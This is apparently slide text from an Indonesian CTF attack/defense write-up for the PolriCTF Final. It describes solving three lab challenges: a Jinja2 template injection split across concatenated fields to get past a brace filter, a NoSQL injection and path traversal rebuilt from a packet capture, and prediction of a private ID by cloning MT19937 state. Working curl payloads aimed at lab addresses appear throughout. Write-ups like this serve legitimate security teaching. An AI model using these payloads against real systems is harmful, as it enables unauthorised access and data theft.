CTF / ATTACK & DEFENSE
PolriCTF Final
Tim “Nama Tim Minimal 3 Karakter”

Teks slide 01
Gunakan slide atau PDF untuk melihat tata letak dan format kode aslinya.
Cover: PolriCTF Final
POLRICTF WRITE UP A/D NAMA TIM MINIMAL 3 KARAKTER
Autosubmitter script
POLRICTF
AUTOSUBMITTER
SCRIPT
https://app.notion.com/p/AutoSub
mitter-
3b63b612851c80c0aaa1f425d3807fd5
?source=copy_linkRingkasan challenge yang diselesaikan
POLRICTF
OUR SOLVED
PINJOL JUDOL777 LEAKS
WAVE 1 WAVE 1 & WAVE 2 WAVE 2Pinjol: Wave 1
POLRICTF
EXPLANATION
PINJOL
WAVE 1Pinjol: analisis codebase
POLRICTF ANALISIS CODEBASE Pada file app.py, terdapat suatu fungsi yang bisa memanggil flag. Hasil dari read_flag() disimpan didalam brankas["kunci_ops"]. dan object brankas diberikan sebagai variable kepada Jinja2. Dengan demikian, apabila kita berhasil memasukkan expression: ke dalam body, Jinja2 akan mengevaluasinya dan menampilkan isi kunci_ops, yaitu flag. PINJOL
Pinjol: filter payload
POLRICTF
HAMBATAN
PAYLOAD
Terdapat filter pada input yang memblokir
beberapa token, termasuk {{ dan }}.
PINJOLPinjol: penggabungan field
POLRICTF
IDE UTAMA
SOLVING
Namun perhatikan bagaimana body dibentuk. Ketiga
field tersebut digabungkan secara langsung tanpa
separator.
PINJOLPinjol: membentuk ekspresi Jinja2
POLRICTF
IDE UTAMA
SOLVING
pekerjaan kontak_darurat catatan
{ + { brankas.kunci_ops } + }
{{ brankas.kunci_ops }}
Karena ketiga field tersebut digabungkan secara
langsung tanpa separator, maka kita bisa menginput
payload secara terpisah. Yang ketika body dibentuk
maka payload akan terbentuk di body.
PINJOLPinjol: memperbarui profil
POLRICTF
IMPLEMENTASI PAYLOAD #1
PAYLOAD curl -i 'http://10.3.4.3/api/profile/update' \
-H 'Cookie:
kb_session=f7944b61290eec0b824a374c9f4b828b' \
--data-urlencode 'pekerjaan={' \
--data-urlencode 'kontak_darurat={brankas.kunci_ops}'
PINJOLPinjol: mengajukan pinjaman
POLRICTF
IMPLEMENTASI PAYLOAD #2
PAYLOAD curl -i 'http://10.3.4.3/api/loan/apply' \
-H 'Cookie: kb_session=f7944b61290eec0b824a374c9f4b828b' \
--data-urlencode 'catatan=}' \
--data-urlencode 'jumlah=100000'
PINJOLPinjol: membaca receipt
POLRICTF
IMPLEMENTASI PAYLOAD #3
PAYLOAD curl -i 'http://10.3.4.3/api/loan/1253/receipt' \
-H 'Cookie: kb_session=f7944b61290eec0b824a374c9f4b828b'
PINJOLJudol777: Wave 1 dan 2
POLRICTF
EXPLANATION
JUDOL777
WAVE 1&2Judol777: analisis Wireshark
POLRICTF
ANALISIS
WIRESHARK
Terdapat sebuah packet dengan
protokol HTTP mencurigakan
yang berisi flag. Mari kita
follow HTTP Streamnya.
JUDOL777Judol777: HTTP stream
POLRICTF
HTTP Seperti yang terlihat, seorang attacker melakukan request
dengan payload NoSQL Injection, dan Path Traversal untuk
mengakses kedua endpoint untuk mendapatkan flag kedua wave.
STREAM
JUDOL777Judol777: rekonstruksi NoSQL Injection
POLRICTF
REKONSTRUKSI PAYLOAD #1 NOSQL INJECTION
PAYLOAD curl -i 'http://10.3.4.2/api/login?
username=admin&password%5B%24gt%5D='
Nampak bahwa payload NoSQL Injection bekerja dan flag berhasil didapatkan.
Mengindikasikan bahwa payload berhasil di rekonstruksi.
JUDOL777Judol777: rekonstruksi Path Traversal
POLRICTF
REKONSTRUKSI PAYLOAD #2 PATH TRAVERSAL
PAYLOAD curl -i 'http://10.3.7.2/api/profile/avatar?
file=..\gateway.key'
Nampak bahwa payload
Path Traversal bekerja
dan flag berhasil
didapatkan.
Mengindikasikan bahwa
payload berhasil di
rekonstruksi.
JUDOL777Leaks: Wave 2
POLRICTF
EXPLANATION
LEAKS
WAVE 2
BUG IMPACT
OPERATOR CONVERSATION ID OPERATOR BROADCAST TERBUKA
BISA DIPREDIKSI DAN FLAG WAVE 2 BOCORLeaks: endpoint dan attack flow
POLRICTF
ENDPOINT ATTACK FLOW
GET /v1/explore
EXPLORE FEED Admin ID
MT19937 Operator
CLONE Broadcast
WAVE 2 HANYA MEMAKAI
/V1/EXPLORE DAN /V1/C/<ID>
GET /v1/c/<id>Leaks: public ID dan conversation lookup
POLRICTF
PUBLIC CONVERSATION
EXPLORE FEED LEAK
LOOKUP
/v1/explore membocorkan 640 public /v1/c/<id> membuka conversation berdasarkan id.
conversation id. Setiap id berbentuk 8 hex Public id menghasilkan shared chat biasa.
digit atau 32-bit output.
CURL.EXE HTTP://LOCALHOST/V1/EXPLORE
Endpoint lookup ini tidak membedakan
CONTOH DATA
public/private lewat auth. Kalau private id
first public id: 22e6be19 bisa ditebak, conversation private bisa
last public id : 0b8e9e6d dibuka.Leaks: root cause MT19937
POLRICTF
ROOT CAUSE
WAVE_EXPLORE.RS IDGEN.RS
Service membuat 640 public ids. IdGen memakai MT19937.
Operator id dibuat dari next_u32() berikutnya. MT19937 state size = 624 word.
Semua berasal dari stream generator yang sama. 624 output cukup untuk clone state.
MT19937 bukan CSPRNG dan output
tempering-nya reversible.Leaks: alur rekonstruksi state
POLRICTF
EXPLOIT LOGIC
Parse 640 ids Untemper 624 Clone state
dari /v1/explore output pertama MT19937
Consume output Generate output Output ke-641
ke-625 sampai ke-640 ke-641 adalah operator id
SOLVERPenutup: Terima kasih
POLRICTF
THANK
bismillah best wretap 😹
YOU





















